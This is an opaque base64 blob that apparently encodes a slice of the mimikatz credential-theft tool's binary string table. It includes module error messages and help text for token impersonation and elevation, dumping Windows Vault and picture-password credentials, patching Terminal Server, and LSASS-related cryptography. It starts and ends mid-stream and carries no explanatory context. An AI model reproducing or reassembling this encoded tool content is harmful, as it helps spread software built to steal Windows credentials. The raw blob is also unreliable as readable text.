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AIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcwB5AHMAdABlAG0AAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABOAG8AIAB1AHMAZQByAG4AYQBtAGUAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHcAaABlAG4AIABTAFkAUwBUAEUATQAKAAAAVABvAGsAZQBuACAASQBkACAAIAA6ACAAJQB1AAoAVQBzAGUAcgAgAG4AYQBtAGUAIAA6ACAAJQBzAAoAUwBJAEQAIABuAGEAbQBlACAAIAA6ACAAAAAAACUAcwBcACUAcwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwB0AG8AawBlAG4AXwBnAGUAdABOAGEAbQBlAEQAbwBtAGEAaQBuAEYAcgBvAG0AUwBJAEQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGwAbwBjAGEAbABfAGQAbwBtAGEAaQBuAF8AdQBzAGUAcgBfAEMAcgBlAGEAdABlAFcAZQBsAGwASwBuAG8AdwBuAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwByAGUAdgBlAHIAdAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAACUALQAxADAAdQAJAAAAAAAlAHMAXAAlAHMACQAlAHMAAAAAAAAAAAAJACgAJQAwADIAdQBnACwAJQAwADIAdQBwACkACQAlAHMAAAAAAAAAIAAoACUAcwApAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAQwBoAGUAYwBrAFQAbwBrAGUAbgBNAGUAbQBiAGUAcgBzAGgAaQBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAlAHUACQAAACAALQA+ACAASQBtAHAAZQByAHMAbwBuAGEAdABlAGQAIAAhAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAGwAbABvAHcAIABtAHUAbAB0AGkAcABsAGUAcwAgAHUAcwBlAHIAcwAAAAAAAABtAHUAbAB0AGkAcgBkAHAAAAAAAAAAAABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAG0AbwBkAHUAbABlAAAAAAB0AHMAAAAAAHQAZQByAG0AcwByAHYALgBkAGwAbAAAAFQAZQByAG0AUwBlAHIAdgBpAGMAZQAAAGQAbwBtAGEAaQBuAF8AZQB4AHQAZQBuAGQAZQBkAAAAZwBlAG4AZQByAGkAYwBfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAGQAbwBtAGEAaQBuAF8AdgBpAHMAaQBiAGwAZQBfAHAAYQBzAHMAdwBvAHIAZAAAAGQAbwBtAGEAaQBuAF8AYwBlAHIAdABpAGY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AdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgADEAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABTAEkARAAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAkACQBQAGEAcwBzAHcAbwByAGQAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAAkACQBQAEkATgAgAEMAbwBkAGUAIAAgACAAIAAgACAAIAAgADoAIAAlADAANABoAHUACgAAAAAACQAJAEI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